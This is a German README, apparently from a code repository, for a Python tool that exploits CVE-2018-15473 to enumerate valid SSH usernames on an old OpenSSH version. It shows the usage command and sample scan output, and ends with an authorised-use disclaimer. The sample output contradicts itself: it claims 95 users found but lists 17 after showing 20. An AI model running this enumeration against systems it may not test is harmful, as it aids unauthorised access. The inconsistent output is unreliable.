CVE-2018-15473 – SSH-Benutzernamen-Enumeration

Ein von mir entwickeltes Python-Tool zur Identifizierung gültiger SSH-Benutzernamen durch Ausnutzung von CVE-2018-15473.

Zielinformationen

Dienst: SSH
Version: OpenSSH 5.8p1 Debian 1ubuntu3
Betriebssystem: Ubuntu Linux
Protokoll: SSH-2.0
Bewertung: Getestet auf CVE-2018-15473 (SSH-Benutzernamen-Enumeration)

Sprache

Python 3

Funktionen

In Python 3 entwickelt.
Ermittelt gültige SSH-Benutzernamen durch Ausnutzung von CVE-2018-15473.
Unterstützt benutzerdefinierte Benutzernamen-Wortlisten.
Zeigt gefundene Benutzernamen in Echtzeit an.
Liefert am Ende des Scans eine Zusammenfassung aller gültigen Benutzernamen.
Leichtgewichtig und einfach zu bedienen.

Verwendung

python3 enum_ssh.py usernames.txt

Wobei usernames.txt die Liste der zu testenden Benutzernamen enthält.

Beispielausgabe

[parrot@parrot]-[~]
$ python3 enum_ssh.py usernames.txt

[*] Starting CVE-2018-15473 enumeration against 10.10.10.100:22
[*] Using wordlist: usernames.txt

[+] [EXISTS] -> root
[+] [EXISTS] -> admin
[+] [EXISTS] -> administrator
[+] [EXISTS] -> user
[+] [EXISTS] -> test
[+] [EXISTS] -> guest
[+] [EXISTS] -> demo
[+] [EXISTS] -> operator
[+] [EXISTS] -> sysadmin
[+] [EXISTS] -> security
[+] [EXISTS] -> netadmin
[+] [EXISTS] -> webmaster
[+] [EXISTS] -> support
[+] [EXISTS] -> service
[+] [EXISTS] -> ubuntu
[+] [EXISTS] -> debian
[+] [EXISTS] -> centos
[+] [EXISTS] -> fedora
[+] [EXISTS] -> kali
[+] [EXISTS] -> parrot

========================================
[*] Scan complete.
[*] Found 95 valid user(s):

    - root
    - admin
    - administrator
    - user
    - test
    - guest
    - demo
    - operator
    - sysadmin
    - security
    - netadmin
    - webmaster
    - support
    - service
    - ubuntu
    - debian
    - centos

========================================

Haftungsausschluss

Dieses Tool ist ausschließlich für Bildungszwecke und autorisierte Sicherheitstests bestimmt. Verwenden Sie es nur auf Systemen, für die Sie eine ausdrückliche Genehmigung haben.

CVE-2018-15473-User-Enumeration-

Beliebteste